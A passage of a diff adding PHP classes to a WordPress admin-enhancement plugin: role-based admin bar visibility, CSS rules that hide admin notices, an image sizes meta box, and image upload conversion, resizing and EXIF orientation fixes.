$always_show_for_admins_on_frontend = ( isset( $options['hide_admin_bar_always_show_for_admins'] ) ? $options['hide_admin_bar_always_show_for_admins'] : false );
$current_user = wp_get_current_user();
$current_user_roles = (array) $current_user->roles;
if ( count( $current_user_roles ) === 0 ) {
return false;
}
if ( in_array( 'administrator', $current_user_roles, true ) && $always_show_for_admins_on_frontend ) {
return true;
}
if ( isset( $for_roles_frontend ) && count( $for_roles_frontend ) > 0 ) {
$roles_admin_bar_hidden_frontend = array();
foreach ( $for_roles_frontend as $role_slug => $admin_bar_hidden ) {
if ( $admin_bar_hidden ) {
$roles_admin_bar_hidden_frontend[] = $role_slug;
}
}
foreach ( $current_user_roles as $role ) {
if ( in_array( $role, $roles_admin_bar_hidden_frontend, true ) ) {
return false;
}
}
}
return true;
}
/**
* Hide admin bar on the frontend for the user roles selected
*
* @since 1.3.0
* @param bool $show Default visibility from WordPress.
* @return bool
*/
public function hide_admin_bar_for_roles_on_frontend( $show = true ) {
if ( !$show ) {
return false;
}
return $this->is_frontend_admin_bar_visible_for_current_user();
}
}
@@ -0,0 +1,365 @@
<?php
namespace ASENHA\Classes;
use WP_Admin_Bar;
/**
* Class for Hide Admin Notices module
*
* @since 6.9.5
*/
class Hide_Admin_Notices {
/**
* Wrapper for admin notices being output on admin screens
*
* @since 1.2.0
*/
public function admin_notices_wrapper() {
$options = get_option( ASENHA_SLUG_U, array() );
$hide_for_nonadmins = ( isset( $options['hide_admin_notices_for_nonadmins'] ) ? $options['hide_admin_notices_for_nonadmins'] : false );
$minimum_capability = 'manage_options';
if ( current_user_can( $minimum_capability ) ) {
echo '<div class="asenha-admin-notices-drawer" style="display:none;"><h2>' . __( 'Admin Notices', 'admin-site-enhancements' ) . '</h2></div>';
}
}
/**
* FOR TESTING: show an admin notice that is visible for all user roles
*
* @since 8.0.4
*/
public function show_test_admin_notice_for_all_user_roles() {
?>
<div class="notice notice-info is-dismissible">
<p><?php
esc_html_e( "This notice is visible for all user roles.", 'wpturbo' );
?></p>
</div>
<?php
}
/**
* Admin bar menu item for the hidden admin notices
*
* @link https://developer.wordpress.org/reference/classes/wp_admin_bar/add_menu/
* @link https://developer.wordpress.org/reference/classes/wp_admin_bar/add_node/
* @since 1.2.0
*/
public function admin_notices_menu( WP_Admin_Bar $wp_admin_bar ) {
// Only show Notices menu in wp-admin but when not in Customizer preview
if ( is_admin() && !is_customize_preview() ) {
$options = get_option( ASENHA_SLUG_U, array() );
$hide_for_nonadmins = ( isset( $options['hide_admin_notices_for_nonadmins'] ) ? $options['hide_admin_notices_for_nonadmins'] : false );
$hide_menu_for_nonadmins = ( isset( $options['hide_admin_notices_menu_for_nonadmins'] ) ? $options['hide_admin_notices_menu_for_nonadmins'] : false );
$minimum_capability = 'manage_options';
if ( current_user_can( $minimum_capability ) ) {
$wp_admin_bar->add_menu( array(
'id' => 'asenha-hide-admin-notices',
'parent' => 'top-secondary',
'group' => null,
'title' => __( 'Notices', 'admin-site-enhancements' ) . '<span class="asenha-admin-notices-counter" style="opacity:0;">0</span>',
'meta' => array(
'class' => 'asenha-admin-notices-menu hidden',
'title' => __( 'Click to view hidden admin notices', 'admin-site-enhancements' ),
),
) );
}
}
}
/**
* Inline CSS for the hiding notices on page load in wp admin pages
*
* @since 1.2.0
*/
public function admin_notices_menu_inline_css() {
$options = get_option( ASENHA_SLUG_U, array() );
$hide_for_nonadmins = ( isset( $options['hide_admin_notices_for_nonadmins'] ) ? $options['hide_admin_notices_for_nonadmins'] : false );
$minimum_capability = 'manage_options';
if ( is_admin() && !is_customize_preview() && current_user_can( $minimum_capability ) ) {
// Below we pre-emptively hide notices to avoid having them shown briefly before being moved into the notices panel via JS
?>
<style type="text/css">
#wpadminbar .asenha-admin-notices-menu .ab-empty-item {
cursor: pointer;
}
#wpadminbar .asenha-admin-notices-counter {
box-sizing: border-box;
margin: 1px 0 -1px 6px ;
padding: 2px 6px 3px 5px;
min-width: 18px;
height: 18px;
border-radius: 50%;
background-color: #ca4a1f;
color: #fff;
font-size: 11px;
line-height: 1.6;
text-align: center;
}
/* #wpbody-content .notice:not(.system-notice,.update-message),
#wpbody-content .notice-error,
#wpbody-content .error,
#wpbody-content .notice-info,
#wpbody-content .notice-information,
#wpbody-content #message,
#wpbody-content .notice-warning:not(.update-message),
#wpbody-content .notice-success:not(.update-message),
#wpbody-content .notice-updated,
#wpbody-content .updated:not(.active, .inactive, .plugin-update-tr),
#wpbody-content .update-nag, */
#wpbody-content > .wrap > .notice:not(#plugin-activated-successfully,.system-notice,.updated,.hidden,.inline,.wcml-notice,.asenha-media-replacement-notice),
#wpbody-content > .wrap > .notice-error,
#wpbody-content > .wrap > .error:not(.hidden),
#wpbody-content > .wrap > .notice-info,
#wpbody-content > .wrap > .notice-information,
#wpbody-content > .wrap > #message:not(.updated,.asenha-media-replacement-notice),
#wpbody-content > .wrap > .notice-warning:not(.hidden),
#wpbody-content > .wrap > .notice-success:not(.updated,#plugin-activated-successfully,.updated,.asenha-media-replacement-notice),
#wpbody-content > .wrap > .notice-updated,
#wpbody-content > .wrap > .updated:not(.inline),
#wpbody-content > .wrap > .update-nag,
#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice:not(.system-notice,.hidden,#asenha-fm-warning-notice,#asenha-smtp-password-notice,#asenha-view-admin-as-role-recovery-notice),
#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice-error,
#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .error:not(.hidden),
#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice-info,
#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice-information,
#wpbody-content > .wrap > div > #message,
#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice-warning:not(.hidden,#asenha-fm-warning-notice,#asenha-smtp-password-notice,#asenha-view-admin-as-role-recovery-notice),
#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice-success,
#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice-updated,
#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .updated,
#wpbody-content > .wrap > div > .update-nag,
#wpbody-content > div > .wrap > .notice:not(.system-notice,.hidden),
#wpbody-content > div > .wrap > .notice-error,
#wpbody-content > div > .wrap > .error:not(.hidden),
#wpbody-content > div > .wrap > .notice-info,
#wpbody-content > div > .wrap > .notice-information,
#wpbody-content > div > .wrap > #message,
#wpbody-content > div > .wrap > .notice-warning:not(.hidden),
#wpbody-content > div > .wrap > .notice-success,
#wpbody-content > div > .wrap > .notice-updated,
#wpbody-content > div > .wrap > .updated:not(.inline),
#wpbody-content > div > .wrap > .update-nag,
/* e.g. on user deletion screen */
#wpbody-content > form > .wrap > .notice:not(.system-notice,.hidden),
#wpbody-content > form > .wrap > .notice-error,
#wpbody-content > form > .wrap > .error:not(.hidden),
#wpbody-content > form > .wrap > .notice-info,
#wpbody-content > form > .wrap > .notice-information,
#wpbody-content > form > .wrap > #message,
#wpbody-content > form > .wrap > .notice-warning:not(.hidden),
#wpbody-content > form > .wrap > .notice-success,
#wpbody-content > form > .wrap > .notice-updated,
#wpbody-content > form > .wrap > .updated:not(.inline),
#wpbody-content > form > .wrap > .update-nag,
/* WooCommerce */
#wpbody-content > .wrap.woocommerce > form > .notice:not(.system-notice,.hidden),
#wpbody-content > .wrap.woocommerce > form > .notice-error,
#wpbody-content > .wrap.woocommerce > form > .error:not(.hidden),
#wpbody-content > .wrap.woocommerce > form > .notice-info,
#wpbody-content > .wrap.woocommerce > form > .notice-information,
#wpbody-content > .wrap.woocommerce > form > #message,
#wpbody-content > .wrap.woocommerce > form > .notice-warning:not(.hidden),
#wpbody-content > .wrap.woocommerce > form > .notice-success,
#wpbody-content > .wrap.woocommerce > form > .notice-updated,
#wpbody-content > .wrap.woocommerce > form > .updated:not(.inline),
#wpbody-content > .wrap.woocommerce > form > .update-nag,
/* TranslatePress */
#wpbody-content > #trp-main-settings > form > .notice:not(.system-notice,.hidden),
#wpbody-content > #trp-main-settings > form > .notice-error,
#wpbody-content > #trp-main-settings > form > .error:not(.hidden),
#wpbody-content > #trp-main-settings > form > .notice-info,
#wpbody-content > #trp-main-settings > form > .notice-information,
#wpbody-content > #trp-main-settings > form > #message,
#wpbody-content > #trp-main-settings > form > .notice-warning:not(.hidden),
#wpbody-content > #trp-main-settings > form > .notice-success,
#wpbody-content > #trp-main-settings > form > .notice-updated,
#wpbody-content > #trp-main-settings > form > .updated:not(.inline),
#wpbody-content > #trp-main-settings > form > .update-nag,
/* WordFence */
#wpbody-content > .wrap > .wf-container-fluid .notice:not(#plugin-activated-successfully,.system-notice,.hidden),
#wpbody-content > .wrap > .wf-container-fluid .notice-error,
#wpbody-content > .wrap > .wf-container-fluid .error:not(.hidden),
#wpbody-content > .wrap > .wf-container-fluid .notice-info,
#wpbody-content > .wrap > .wf-container-fluid .notice-information,
#wpbody-content > .wrap > .wf-container-fluid #message,
#wpbody-content > .wrap > .wf-container-fluid .notice-warning:not(.hidden),
#wpbody-content > .wrap > .wf-container-fluid .notice-success:not(#plugin-activated-successfully),
#wpbody-content > .wrap > .wf-container-fluid .notice-updated,
#wpbody-content > .wrap > .wf-container-fluid .updated:not(.inline),
#wpbody-content > .wrap > .wf-container-fluid .update-nag,
/* WP All Import */
#wpbody-content > .wrap .wpallimport-wrapper .notice:not(#plugin-activated-successfully,.system-notice,.hidden),
#wpbody-content > .wrap .wpallimport-wrapper .notice-error,
#wpbody-content > .wrap .wpallimport-wrapper .error:not(.hidden),
#wpbody-content > .wrap .wpallimport-wrapper .notice-info,
#wpbody-content > .wrap .wpallimport-wrapper .notice-information,
#wpbody-content > .wrap .wpallimport-wrapper #message,
#wpbody-content > .wrap .wpallimport-wrapper .notice-warning:not(.hidden),
#wpbody-content > .wrap .wpallimport-wrapper .notice-success:not(#plugin-activated-successfully),
#wpbody-content > .wrap .wpallimport-wrapper .notice-updated,
#wpbody-content > .wrap .wpallimport-wrapper .updated:not(.inline),
#wpbody-content > .wrap .wpallimport-wrapper .update-nag,
/* WP All Export */
#wpbody-content > .wrap .wpallexport-wrapper .notice:not(#plugin-activated-successfully,.system-notice,.hidden),
#wpbody-content > .wrap .wpallexport-wrapper .notice-error,
#wpbody-content > .wrap .wpallexport-wrapper .error:not(.hidden),
#wpbody-content > .wrap .wpallexport-wrapper .notice-info,
#wpbody-content > .wrap .wpallexport-wrapper .notice-information,
#wpbody-content > .wrap .wpallexport-wrapper #message,
#wpbody-content > .wrap .wpallexport-wrapper .notice-warning:not(.hidden),
#wpbody-content > .wrap .wpallexport-wrapper .notice-success:not(#plugin-activated-successfully),
#wpbody-content > .wrap .wpallexport-wrapper .notice-updated,
#wpbody-content > .wrap .wpallexport-wrapper .updated:not(.inline),
#wpbody-content > .wrap .wpallexport-wrapper .update-nag,
/* WS Form */
#wpbody-content > #wsf-layout-editor > #poststuff > .notice:not(#plugin-activated-successfully,.system-notice,.hidden),
#wpbody-content > #wsf-layout-editor > #poststuff > .notice-error,
#wpbody-content > #wsf-layout-editor > #poststuff > .error:not(.hidden),
#wpbody-content > #wsf-layout-editor > #poststuff > .notice-info,
#wpbody-content > #wsf-layout-editor > #poststuff > .notice-information,
#wpbody-content > #wsf-layout-editor > #poststuff > #message,
#wpbody-content > #wsf-layout-editor > #poststuff > .notice-warning:not(.hidden),
#wpbody-content > #wsf-layout-editor > #poststuff > .notice-success:not(#plugin-activated-successfully),
#wpbody-content > #wsf-layout-editor > #poststuff > .notice-updated,
#wpbody-content > #wsf-layout-editor > #poststuff > .updated:not(.inline),
#wpbody-content > #wsf-layout-editor > #poststuff > .update-nag,
/* Pods */
#wpbody-content .pods-submittable-fields > .notice:not(#plugin-activated-successfully,.system-notice,.hidden),
#wpbody-content .pods-submittable-fields > .notice-error,
#wpbody-content .pods-submittable-fields > .error:not(.hidden),
#wpbody-content .pods-submittable-fields > .notice-info,
#wpbody-content .pods-submittable-fields > .notice-information,
#wpbody-content .pods-submittable-fields > #message,
#wpbody-content .pods-submittable-fields > .notice-warning:not(.hidden),
#wpbody-content .pods-submittable-fields > .notice-success:not(#plugin-activated-successfully),
#wpbody-content .pods-submittable-fields > .notice-updated,
#wpbody-content .pods-submittable-fields > .updated:not(.inline),
#wpbody-content .pods-submittable-fields > .update-nag,
/* Meta Box Lite */
.mb-main > .notice:not(#plugin-activated-successfully,.system-notice,.hidden),
.mb-main > .notice-error,
.mb-main > .error:not(.hidden),
.mb-main > .notice-info,
.mb-main > .notice-information,
.mb-main > #message,
.mb-main > .notice-warning:not(.hidden),
.mb-main > .notice-success:not(#plugin-activated-successfully),
.mb-main > .notice-updated,
.mb-main > .updated:not(.inline),
.mb-main > .update-nag,
/* Meta Box AIO */
.mb-header__left > .notice:not(#plugin-activated-successfully,.system-notice,.hidden),
.mb-header__left > .notice-error,
.mb-header__left > .error:not(.hidden),
.mb-header__left > .notice-info,
.mb-header__left > .notice-information,
.mb-header__left > #message,
.mb-header__left > .notice-warning:not(.hidden),
.mb-header__left > .notice-success:not(#plugin-activated-successfully),
.mb-header__left > .notice-updated,
.mb-header__left > .updated:not(.inline),
.mb-header__left > .update-nag,
/* Funnel Builder for WordPress by FunnelKit */
#wpbody-content > .bwfan_header > .notice:not(.system-notice,.hidden),
#wpbody-content > .bwfan_header > .notice-error,
#wpbody-content > .bwfan_header > .error:not(.hidden),
#wpbody-content > .bwfan_header > .notice-info,
#wpbody-content > .bwfan_header > .notice-information,
#wpbody-content > .bwfan_header > #message,
#wpbody-content > .bwfan_header > .notice-warning:not(.hidden),
#wpbody-content > .bwfan_header > .notice-success,
#wpbody-content > .bwfan_header > .notice-updated,
#wpbody-content > .bwfan_header > .updated:not(.inline),
#wpbody-content > .bwfan_header > .update-nag,
#wpbody-content > .notice:not(.otgs-notice,.wcml-notice,#asenha-smtp-password-notice,#asenha-view-admin-as-role-recovery-notice),
#wpbody-content > .error,
#wpbody-content > .updated:not(.inline),
#wpbody-content > .update-nag,
#wpbody-content > .jp-connection-banner,
#wpbody-content > .jitm-banner,
#wpbody-content > .jetpack-jitm-message,
#wpbody-content > .ngg_admin_notice,
#wpbody-content > .imagify-welcome,
#wpbody-content #wordfenceAutoUpdateChoice,
#wpbody-content #easy-updates-manager-dashnotice,
#wpbody-content > .wrap.gblocks-dashboard-wrap .notice:not(.system-notice,.hidden),
#wpbody-content > .wrap.gblocks-dashboard-wrap .notice-error,
#wpbody-content > .wrap.gblocks-dashboard-wrap .error:not(.hidden),
#wpbody-content > .wrap.gblocks-dashboard-wrap .notice-info,
#wpbody-content > .wrap.gblocks-dashboard-wrap .notice-information,
#wpbody-content > .wrap.gblocks-dashboard-wrap #message,
#wpbody-content > .wrap.gblocks-dashboard-wrap .notice-warning:not(.hidden),
#wpbody-content > .wrap.gblocks-dashboard-wrap .notice-success,
#wpbody-content > .wrap.gblocks-dashboard-wrap .notice-updated,
#wpbody-content > .wrap.gblocks-dashboard-wrap .updated:not(.inline),
#wpbody-content > .wrap.gblocks-dashboard-wrap .update-nag,
/* WPML */
#wpbody-content > .otgs-notice,
/* WooCommerce Stock Sync */
#wpbody-content > .wrap > .ssgs-influencer-banner,
#wpbody-content > .wrap > .ssgs-upgrade-banner,
#wpbody-content > .wrap > .ssgs-rating-banner,
/* Shortpixel */
#wpbody-content > .shortpixel-notice,
/* Dokan */
#wpbody-content > .wrap .dokan-dashboard .notice:not(.system-notice,.hidden,.wcml-notice),
#wpbody-content > .wrap .dokan-dashboard .notice-error,
#wpbody-content > .wrap .dokan-dashboard .error:not(.hidden),
#wpbody-content > .wrap .dokan-dashboard .notice-info,
#wpbody-content > .wrap .dokan-dashboard .notice-information,
#wpbody-content > .wrap .dokan-dashboard #message,
#wpbody-content > .wrap .dokan-dashboard .notice-warning:not(.hidden),
#wpbody-content > .wrap .dokan-dashboard .notice-success:not(#plugin-activated-successfully),
#wpbody-content > .wrap .dokan-dashboard .notice-updated,
#wpbody-content > .wrap .dokan-dashboard .updated:not(.inline),
#wpbody-content > .wrap .dokan-dashboard .update-nag,
/* BdThemes Element Pack Pro */
#wpbody-content > .wrap > .biggopti,
/* Admin Columns */
#wpbody-content > .wrap .ac-admin-page .notice:not(.system-notice,.hidden),
#wpbody-content > .wrap .ac-admin-page .notice-error,
#wpbody-content > .wrap .ac-admin-page .error:not(.hidden),
#wpbody-content > .wrap .ac-admin-page .notice-info,
#wpbody-content > .wrap .ac-admin-page .notice-information,
#wpbody-content > .wrap .ac-admin-page #message,
#wpbody-content > .wrap .ac-admin-page .notice-warning:not(.hidden),
#wpbody-content > .wrap .ac-admin-page .notice-success,
#wpbody-content > .wrap .ac-admin-page .notice-updated,
#wpbody-content > .wrap .ac-admin-page .updated:not(.inline),
#wpbody-content > .wrap .ac-admin-page .update-nag
{
position: absolute !important;
visibility: hidden !important;
}
/* Keep SMTP password notice visible for administrators. */
#wpbody #wpbody-content .notice.notice-warning.asenha-smtp-password-notice,
#wpbody #wpbody-content #asenha-smtp-password-notice {
display: block !important;
position: static !important;
visibility: visible !important;
}
/* Keep View Admin as Role recovery URL notice visible for administrators. */
#wpbody #wpbody-content .notice.notice-info.asenha-view-admin-as-role-recovery-notice,
#wpbody #wpbody-content #asenha-view-admin-as-role-recovery-notice {
display: block !important;
position: relative !important;
visibility: visible !important;
}
#wpbody #wpbody-content #asenha-view-admin-as-role-recovery-notice p strong {
word-break: break-all;
}
<?php
?>
</style>
<?php
}
}
}
@@ -0,0 +1,78 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Image Sizes Panel module
*
* @since 6.9.5
*/
class Image_Sizes_Panel {
/**
* Add image sizes meta box in image view/edit screen
*
* @since 6.3.0
*/
public function add_image_sizes_meta_box() {
global $post;
// Only add meta box if the attachment is an image
if ( is_object( $post ) && property_exists( $post, 'post_mime_type' ) && false !== strpos( $post->post_mime_type, 'image' ) ) {
add_meta_box(
'image_sizes',
'Image Sizes',
[$this, 'image_sizes_table'],
'attachment',
'side'
);
}
}
/**
* Output table of image sizes
*
* @link https://plugins.trac.wordpress.org/browser/image-sizes-panel/tags/0.4/admin/admin.php
* @since 6.3.0
*/
public function image_sizes_table( $post ) {
global $_wp_additional_image_sizes;
$image_sizes = get_intermediate_image_sizes();
$metadata = wp_get_attachment_metadata( $post->ID );
$generated_sizes = array();
// Merge defined image sizes with generated image sizes
if ( isset( $metadata['sizes'] ) && count( $metadata['sizes'] ) > 0 ) {
$generated_sizes = array_keys( $metadata['sizes'] );
$image_sizes = array_unique( array_merge( $image_sizes, $generated_sizes ) );
}
$image_sizes[] = 'full';
$full = wp_get_attachment_image_src( $post->ID, 'full' );
sort( $image_sizes );
if ( count( $image_sizes ) > 0 ) {
echo '<table>';
foreach ( $image_sizes as $size ) {
$src = wp_get_attachment_image_src( $post->ID, $size );
if ( isset( $metadata['sizes'][$size] ) ) {
$width = $metadata['sizes'][$size]['width'];
$height = $metadata['sizes'][$size]['height'];
} else {
if ( 'full' == $size ) {
$width = $full[1];
$height = $full[2];
} else {
$width = $src[1];
$height = $src[2];
}
}
if ( in_array( $size, $generated_sizes ) || 'full' == $size ) {
echo '<tr id="image-sizes-panel-' . sanitize_html_class( $size ) . '" class="image-size-row">';
echo '<td class="size"><span class="name"><a href="' . esc_url( $src[0] ) . '" target="_blank" class="image-url">' . esc_html( $size ) . '</a></span></td>';
echo '<td class="dim">' . esc_html( $width ) . ' &times ' . esc_html( $height ) . '</td>';
echo '</tr>';
}
}
echo '</table>';
} else {
echo '<p>No image sizes</p>';
}
}
}
@@ -0,0 +1,482 @@
<?php
namespace ASENHA\Classes;
use Imagick;
/**
* Class for Image Upload Control module
*
* @since 6.9.5
*/
class Image_Upload_Control {
public $png_is_transparent;
/**
* Array storing the file names that were processed, as keys.
*
* @since 7.5.0
* @link https://plugins.trac.wordpress.org/browser/fix-image-rotation/tags/2.2.2/includes/class-fix-image-rotation.php#L30
*
* @access private
*
* @var array
*/
private $orientation_fixed;
/**
* Array storing the meta data of original files in case it
* needs to be restored later.
*
* @since 7.5.0
* @link https://plugins.trac.wordpress.org/browser/fix-image-rotation/tags/2.2.2/includes/class-fix-image-rotation.php#L42
*
* @access private
*
* @var array
*/
private $previous_meta;
/**
* Constructor
* @since 7.4.3
*/
function __construct() {
$this->png_is_transparent = false;
$this->orientation_fixed = array();
$this->previous_meta = array();
}
/**
* Handler for image uploads. Convert and resize images.
*
* @since 4.3.0
*/
public function image_upload_handler( $upload ) {
$options = get_option( ASENHA_SLUG_U, array() );
$applicable_mime_types = array(
'image/bmp',
'image/x-ms-bmp',
'image/png',
'image/jpeg',
'image/jpg',
'image/webp'
);
$disable_image_conversion = false;
if ( in_array( $upload['type'], $applicable_mime_types ) ) {
// Exlude from conversion and resizing images with filenames ending with '-nr', e.g. birds-nr.png
if ( false !== strpos( $upload['file'], '-nr.' ) ) {
return $upload;
}
// Image conversion is not disabled
if ( !$disable_image_conversion ) {
// Convert BMP
if ( 'image/bmp' === $upload['type'] || 'image/x-ms-bmp' === $upload['type'] ) {
$upload = $this->maybe_convert_image( 'bmp', $upload );
}
// Convert PNG without transparency
if ( 'image/png' === $upload['type'] ) {
$upload = $this->maybe_convert_image( 'png', $upload );
}
}
// At this point, BMPs and non-transparent PNGs are already converted to JPGs, unless excluded with '-nr' suffix.
// Let's perform resize operation as needed, i.e. if image dimension is larger than specified
$mime_types_to_resize = array(
'image/jpeg',
'image/jpg',
'image/png',
'image/webp'
);
if ( !is_wp_error( $upload ) && in_array( $upload['type'], $mime_types_to_resize ) && filesize( $upload['file'] ) > 0 ) {
// https://developer.wordpress.org/reference/classes/wp_image_editor/
$wp_image_editor = wp_get_image_editor( $upload['file'] );
if ( !is_wp_error( $wp_image_editor ) ) {
$image_size = $wp_image_editor->get_size();
$max_width = $options['image_max_width'];
$max_height = $options['image_max_height'];
$convert_to_jpg_quality = 82;
$did_resize = false;
// Check upload image's dimension and only resize if larger than the defined max dimension
if ( isset( $image_size['width'] ) && $image_size['width'] > $max_width || isset( $image_size['height'] ) && $image_size['height'] > $max_height ) {
$wp_image_editor->resize( $max_width, $max_height, false );
// false is for no cropping
$did_resize = true;
}
// Save only when a resize happened.
// Avoid re-encoding (and potentially recompressing) images that are already within max dimensions.
if ( $did_resize ) {
if ( 'image/jpg' === $upload['type'] || 'image/jpeg' === $upload['type'] ) {
$wp_image_editor->set_quality( $convert_to_jpg_quality );
}
$wp_image_editor->save( $upload['file'] );
}
}
}
}
return $upload;
}
/**
* Convert BMP or PNG without transparency into JPG
*
* @since 4.3.0
*/
public function maybe_convert_image( $file_extension, $upload ) {
$image_object = null;
// Get image object from uploaded BMP/PNG
if ( 'bmp' === $file_extension ) {
if ( is_file( $upload['file'] ) ) {
// Generate image object from BMP for conversion to JPG later
if ( function_exists( 'imagecreatefrombmp' ) ) {
// PHP >= v7.2
$image_object = imagecreatefrombmp( $upload['file'] );
} else {
// PHP < v7.2
require_once ASENHA_PATH . 'includes/bmp-to-image-object.php';
$image_object = bmp_to_image_object( $upload['file'] );
}
}
}
if ( 'png' === $file_extension ) {
// Detect alpha/transparency in PNG
$this->png_is_transparent = false;
if ( is_file( $upload['file'] ) ) {
if ( function_exists( 'imagecreatefrompng' ) ) {
// GD library is present, so 'imagecreatefrompng' function is available
// Generate image object from PNG for potential conversion to JPG later.
$image_object = imagecreatefrompng( $upload['file'] );
// Get image dimension
list( $width, $height ) = getimagesize( $upload['file'] );
// Run through pixels until transparent pixel is found
for ($x = 0; $x < $width; $x++) {
for ($y = 0; $y < $height; $y++) {
$pixel_color_index = imagecolorat( $image_object, $x, $y );
$pixel_rgba = imagecolorsforindex( $image_object, $pixel_color_index );
// array of red, green, blue and alpha values
if ( $pixel_rgba['alpha'] > 0 ) {
// a pixel with alpha/transparency has been found
// alpha value range from 0 (completely opaque) to 127 (fully transparent).
// Ref: https://www.php.net/manual/en/function.imagecolorallocatealpha.php
$this->png_is_transparent = true;
break 2;
// Break both 'for' loops
}
}
}
} else {
if ( class_exists( 'Imagick' ) ) {
$imagick = new Imagick();
$imagick->readImage( $upload['file'] );
// Ref: https://stackoverflow.com/a/52295997
// Ref: https://www.php.net/manual/en/imagick.getimagechannelrange.php
// If the channel is defined, and has any transparent areas across any frame, then maxima will always be greater then minima.
// If the channel is NOT defined, then minima will be Inf placeholder, and maxima will be -Inf placeholder, so the above check will still work.
$alpha_range = $imagick->getImageChannelRange( Imagick::CHANNEL_ALPHA );
$this->png_is_transparent = $alpha_range['minima'] < $alpha_range['maxima'];
}
}
}
// Do not convert PNG with alpha/transparency
if ( $this->png_is_transparent ) {
return $upload;
}
}
// Let's convert BMP and non-transparent PNG into JPG
$converted_to_jpg = false;
if ( is_object( $image_object ) || class_exists( 'Imagick' ) ) {
$wp_uploads = wp_upload_dir();
$old_filename = wp_basename( $upload['file'] );
// Assign new, unique file name for the converted image
// $new_filename = wp_basename( str_ireplace( '.' . $file_extension, '.jpg', $old_filename ) );
$new_filename = str_ireplace( '.' . $file_extension, '.jpg', $old_filename );
$new_filename = wp_unique_filename( dirname( $upload['file'] ), $new_filename );
// original image is always deleted in ASE Free
$keep_original_image = false;
$converted_to_jpg = false;
}
if ( is_object( $image_object ) ) {
// When image object creation is successful
// When conversion from BMP/PNG to JPG is successful using GD. Last parameter is JPG quality (0-100).
if ( imagejpeg( $image_object, $wp_uploads['path'] . '/' . $new_filename, 90 ) ) {
$converted_to_jpg = true;
}
} else {
// When image object creation with imagecreatefrombmp(), bmp_to_image_object() or imagecreatefrompng() is not successful, we use Imagick to convert from BMP and non-transparent PNG to JPG.
if ( class_exists( 'Imagick' ) ) {
$imagick = new Imagick();
$imagick->readImage( $upload['file'] );
$imagick->setImageCompressionQuality( 90 );
$imagick->setImageFormat( 'jpg' );
// $imagick->setFormat( 'jpg' );
if ( $imagick->writeImage( $wp_uploads['path'] . '/' . $new_filename ) ) {
$converted_to_jpg = true;
}
// Clear the Imagick object
$imagick->clear();
$imagick->destroy();
}
}
if ( $converted_to_jpg ) {
// Delete original BMP / PNG
if ( !$keep_original_image ) {
unlink( $upload['file'] );
}
// Add converted JPG info into $upload
$upload['file'] = $wp_uploads['path'] . '/' . $new_filename;
$upload['url'] = $wp_uploads['url'] . '/' . $new_filename;
$upload['type'] = 'image/jpeg';
}
return $upload;
}
/**
* Generate image object from PNG/JPG with GD library
*
* @since 6.9.11
*/
public function gd_generate_webp(
$file,
$file_extension,
$webp_path,
$webp_conversion_quality
) {
if ( 'png' == $file_extension ) {
$image_object = imagecreatefrompng( $file );
if ( $this->png_is_transparent ) {
imagepalettetotruecolor( $image_object );
}
}
if ( 'jpg' == $file_extension || 'jpeg' == $file_extension ) {
$image_object = imagecreatefromjpeg( $file );
}
// When creation of image object from PNG/JPG is successful. let's generate WebP image
// Second parameter is file path, last parameter is WebP quality (0-100).
if ( !is_null( $image_object ) && is_object( $image_object ) ) {
imagewebp( $image_object, $webp_path, $webp_conversion_quality );
}
}
/**
* Checks the filename before it is uploaded to WordPress and
* runs the fix_image_orientation function in case its needed.
*
* @since 7.5.0
* @link https://plugins.trac.wordpress.org/browser/fix-image-rotation/tags/2.2.2/includes/class-fix-image-rotation.php#L172
*
* @access public
*
* @hook wp_handle_upload_prefilter
*
* @param array $file An array of data for a single file.
*
* @return array An array of data for a single file.
*/
public function prefilter_maybe_fix_image_orientation( $file ) {
// Get the file extension
// $suffix = substr( $file['name'], strrpos( $file['name'], '.', -1 ) + 1 );
$suffix = pathinfo( $file['name'], PATHINFO_EXTENSION );
if ( in_array( strtolower( $suffix ), array('jpg', 'jpeg', 'tiff'), true ) ) {
$this->fix_image_orientation( $file['tmp_name'] );
}
return $file;
}
/**
* Checks the filename before it is uploaded to WordPress and
* runs the fix_image_orientation function in case its needed.
*
* @since 7.5.0
* @link https://plugins.trac.wordpress.org/browser/fix-image-rotation/tags/2.2.2/includes/class-fix-image-rotation.php#L150
*
* @access public
*
* @hook wp_handle_upload
*
* @param array $file {
* Array of upload data.
*
* @type string $file Filename of the newly-uploaded file.
* @type string $url URL of the uploaded file.
* @type string $type File type.
* }
*
* @return array Array of upload data.
*/
public function maybe_fix_image_orientation( $file ) {
$suffix = substr( $file['file'], strrpos( $file['file'], '.', -1 ) + 1 );
if ( in_array( strtolower( $suffix ), array('jpg', 'jpeg', 'tiff'), true ) ) {
$this->fix_image_orientation( $file['file'] );
}
return $file;
}
/**
* Fixes the orientation of the image based on exif data
*
* @since 7.5.0
* @link https://plugins.trac.wordpress.org/browser/fix-image-rotation/tags/2.2.2/includes/class-fix-image-rotation.php#L191
*
* @access public
*
* @param string $file Path of the file.
*
* @return void
*/
public function fix_image_orientation( $file ) {
if ( !isset( $this->orientation_fixed[$file] ) ) {
$exif = @exif_read_data( $file );
if ( isset( $exif ) && isset( $exif['Orientation'] ) && $exif['Orientation'] > 1 ) {
// Need it so that image editors are available to us.
// include_once ABSPATH . 'wp-admin/includes/image-edit.php';
// Calculate the operations we need to perform on the image.
$operations = $this->calculate_flip_and_rotate( $file, $exif );
if ( false !== $operations ) {
// Lets flip flop and rotate the image as needed.
$this->do_flip_and_rotate( $file, $operations );
}
}
}
}
/**
* Calculate the flips and rotations image will need to do to fix its orientation.
*
* @since 7.5.0
* @link https://plugins.trac.wordpress.org/browser/fix-image-rotation/tags/2.2.2/includes/class-fix-image-rotation.php#L225
*
* @access private
*
* @param string $file Path of the file.
*
* @param array $exif Exif data of the image.
*
* @return array|bool Array of operations to be performed on the image,
* false if no operations are needed.
*/
private function calculate_flip_and_rotate( $file, $exif ) {
$rotator = false;
$flipper = false;
$orientation = 0;
// Lets switch to the orientation defined in the exif data.
switch ( $exif['Orientation'] ) {
case 1:
// We don't want to fix an already correct image :).
